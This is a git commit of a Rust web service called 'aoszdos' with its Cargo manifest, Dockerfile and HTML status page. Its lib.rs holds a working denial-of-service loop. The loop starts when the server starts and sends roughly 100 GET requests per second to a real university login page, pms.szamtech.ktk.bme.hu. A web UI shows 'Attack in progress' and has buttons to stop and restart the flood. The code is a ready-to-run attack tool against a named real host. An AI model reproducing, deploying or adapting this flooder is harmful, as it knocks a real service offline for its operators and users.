Initial commit

This commit is contained in:
dobiadi
2025-12-03 19:31:49 +01:00
commit 0cb3f4f32a
7 changed files with 2218 additions and 0 deletions

1
.gitignore vendored Normal file
View File

@@ -0,0 +1 @@
target/

1880
Cargo.lock generated Normal file
View File

File diff suppressed because it is too large Load Diff

25
Cargo.toml Normal file
View File

@@ -0,0 +1,25 @@
[package]
name = "aoszdos"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
askama = "0.14.0"
async-rate-limit = "0.1.1"
axum = "0"
libc = "0"
reqwest = "0"
tokio = { version = "1", features = ["full"] }
tokio-util = "0"
tower = "0"
tower-http = { version = "0", features = ["trace", "timeout"] }
tracing = "0"
tracing-subscriber = { version = "0", features = ["json", "env-filter"] }
[profile.release]
codegen-units = 1
lto = "fat"
panic = "abort"

29
Dockerfile Normal file
View File

@@ -0,0 +1,29 @@
ARG ALPINE_VERSION=latest
FROM alpine:$ALPINE_VERSION AS builder
ARG RUST_VERSION=stable
COPY Cargo.lock /usr/src/
COPY Cargo.toml /usr/src/
WORKDIR /usr/src
RUN apk add --no-cache rustup build-base && \
rustup-init -qy --profile=minimal --default-toolchain=$RUST_VERSION && \
source "$HOME/.cargo/env" && \
mkdir src && echo "fn main() {}" > src/main.rs && \
cargo fetch && \
cargo build --release --target=x86_64-unknown-linux-musl && \
rm src/main.rs
COPY src/ /usr/src/src/
RUN source "$HOME/.cargo/env" && \
touch src/main.rs && \
cargo build --release --target=x86_64-unknown-linux-musl
FROM alpine:$ALPINE_VERSION
COPY --from=builder /usr/src/target/x86_64-unknown-linux-musl/release/aoszdos /usr/bin/
CMD [ "/usr/bin/aoszdos" ]

118
src/lib.rs Normal file
View File

@@ -0,0 +1,118 @@
use std::{io, sync::Arc, time::Duration};
use askama::Template;
use async_rate_limit::{
limiters::VariableCostRateLimiter,
token_bucket::{TokenBucketRateLimiter, TokenBucketState},
};
use axum::{
extract::State,
http::StatusCode,
response::{Html, IntoResponse, Response},
routing, Router,
};
use tokio::{net::TcpListener, sync::Mutex};
use tokio_util::sync::CancellationToken;
use tower_http::{timeout::TimeoutLayer, trace::TraceLayer};
#[derive(Clone)]
struct AppState {
attack: Arc<Mutex<bool>>,
}
pub struct Config {
pub listen_port: u16,
}
pub async fn run(config: Config, token: CancellationToken) -> Result<(), io::Error> {
let state = AppState {
attack: Arc::new(Mutex::new(true)),
};
let attack = state.attack.clone();
let app = Router::new()
.route("/", routing::get(index_page))
.route("/stop", routing::get(stop))
.route("/reset", routing::get(reset))
.layer((
TraceLayer::new_for_http(),
TimeoutLayer::with_status_code(StatusCode::REQUEST_TIMEOUT, Duration::from_secs(10)),
))
.with_state(state);
tokio::spawn(dos(attack));
let listener = TcpListener::bind(("0.0.0.0", config.listen_port))
.await
.unwrap();
let _ = axum::serve(listener, app)
.with_graceful_shutdown(async move {
token.cancelled().await;
})
.await;
Ok(())
}
async fn stop(State(state): State<AppState>) -> impl IntoResponse {
let mut attack = state.attack.lock().await;
*attack = false;
}
async fn reset(State(state): State<AppState>) -> impl IntoResponse {
let mut attack = state.attack.lock().await;
*attack = true;
}
async fn index_page(State(state): State<AppState>) -> impl IntoResponse {
let attack = state.attack.lock().await.clone();
let template = IndexTemplate { attack };
HtmlTemplate(template)
}
async fn dos(attack: Arc<Mutex<bool>>) {
let client = reqwest::Client::new();
let url = "https://pms.szamtech.ktk.bme.hu/en/login";
let state = TokenBucketState::new(100, 10, Duration::from_millis(100));
let state_mutex = Arc::new(Mutex::new(state));
let mut rl = TokenBucketRateLimiter::new(state_mutex);
loop {
if let false = attack.lock().await.clone() {
break;
}
rl.wait_with_cost(1).await;
let client = client.clone();
tokio::spawn(async move {
let _ = client.get(url).send().await;
});
}
}
#[derive(Template)]
#[template(path = "index.html")]
struct IndexTemplate {
attack: bool,
}
struct HtmlTemplate<T>(T);
impl<T> IntoResponse for HtmlTemplate<T>
where
T: Template,
{
fn into_response(self) -> Response {
match self.0.render() {
Ok(html) => Html(html).into_response(),
Err(err) => (
StatusCode::INTERNAL_SERVER_ERROR,
format!("Failed to render template. Error: {err}"),
)
.into_response(),
}
}
}

85
src/main.rs Normal file
View File

@@ -0,0 +1,85 @@
use core::panic;
use std::str::FromStr;
use std::{env, fmt::Display};
use tokio::signal::unix::{signal, SignalKind};
use tokio_util::sync::CancellationToken;
use tracing_subscriber::{fmt, prelude::*, EnvFilter};
use aoszdos::Config;
#[tokio::main]
async fn main() -> Result<(), String> {
// Enable logging in JSON format
tracing_subscriber::registry()
.with(fmt::layer().json())
.with(EnvFilter::from_env("LOG_LEVEL"))
.init();
// On panic format the message as JSON before exit
std::panic::set_hook(Box::new(|panic_info| {
let location = panic_info
.location()
.map(|loc| format!("{}:{}:{}", loc.file(), loc.line(), loc.column()))
.unwrap_or_else(|| "unknown location".to_string());
let message = match panic_info.payload().downcast_ref::<String>() {
Some(s) => s,
None => "unknown message",
};
tracing::error!("Panic occured at {}: {}", location, message)
}));
// Parse environment variables and create a Config struct
let config = Config {
listen_port: parse_env("LISTEN_PORT", 8080),
};
let (Ok(mut sigterm), Ok(mut sigint)) = (
signal(SignalKind::terminate()),
signal(SignalKind::interrupt()),
) else {
panic!("Failed to install signal handlers");
};
// A token to be used to signal a shutdown request
let token = CancellationToken::new();
let mut webserver_handle = tokio::spawn(aoszdos::run(config, token.clone()));
tokio::select! {
_ = sigterm.recv() => {
tracing::info!("Received SIGTERM");
token.cancel();
},
_ = sigint.recv() => {
tracing::info!("Received SIGINT");
token.cancel();
},
_ = &mut webserver_handle => {},
};
let _ = webserver_handle.await;
Ok(())
}
fn parse_env<T>(env_name: &str, default: T) -> T
where
T: Display + FromStr,
<T as FromStr>::Err: std::fmt::Display,
{
let Ok(env_value) = env::var(env_name) else {
tracing::info!("Environment variable '{env_name}' not set, using default {default}");
return default;
};
str::parse(&env_value).unwrap_or_else(|e| {
let msg = format!(
"Environment variable '{}' could not be converted to type {}: {}",
env_name,
std::any::type_name::<T>(),
e
);
panic!("{}", msg);
})
}

80
templates/index.html Normal file
View File

@@ -0,0 +1,80 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Attack Status</title>
<style>
body {
font-family: Arial, sans-serif;
text-align: center;
margin-top: 100px;
transition: background-color 0.3s;
}
#message {
font-size: 2rem;
margin-bottom: 40px;
}
/* Emergency STOP button */
#stopBtn {
width: 180px;
height: 180px;
border-radius: 50%;
background: radial-gradient(circle at 30% 30%, #ff6b6b, #b30000);
border: 12px solid #f1c40f; /* yellow ring */
box-shadow:
0 8px 0 #8c0000, /* top shadow */
0 15px 20px rgba(0,0,0,0.5);
color: white;
font-size: 2.2rem;
font-weight: bold;
cursor: pointer;
outline: none;
transition: all 0.1s ease-in-out;
display: none;
}
/* Pressed effect */
#stopBtn:active {
box-shadow:
0 3px 0 #8c0000,
0 5px 10px rgba(0,0,0,0.4);
transform: translateY(5px);
}
</style>
</head>
<body>
<div id="message"></div>
<button id="stopBtn">STOP</button>
<script>
// Server-side injected value
const attack = {{ attack }};
const message = document.getElementById("message");
const stopBtn = document.getElementById("stopBtn");
const green = () => {
document.body.style.backgroundColor = "#7dff7d"; // green background
message.textContent = "✅ The attack has been stopped.";
stopBtn.style.display = "none";
}
stopBtn.onclick = async () => {
await fetch("/stop");
green();
};
if (attack) {
document.body.style.backgroundColor = "#ff4d4d"; // red background
message.textContent = "⚠️ Attack in progress...";
stopBtn.style.display = "inline-block";
} else {
green();
}
</script>
</body>
</html>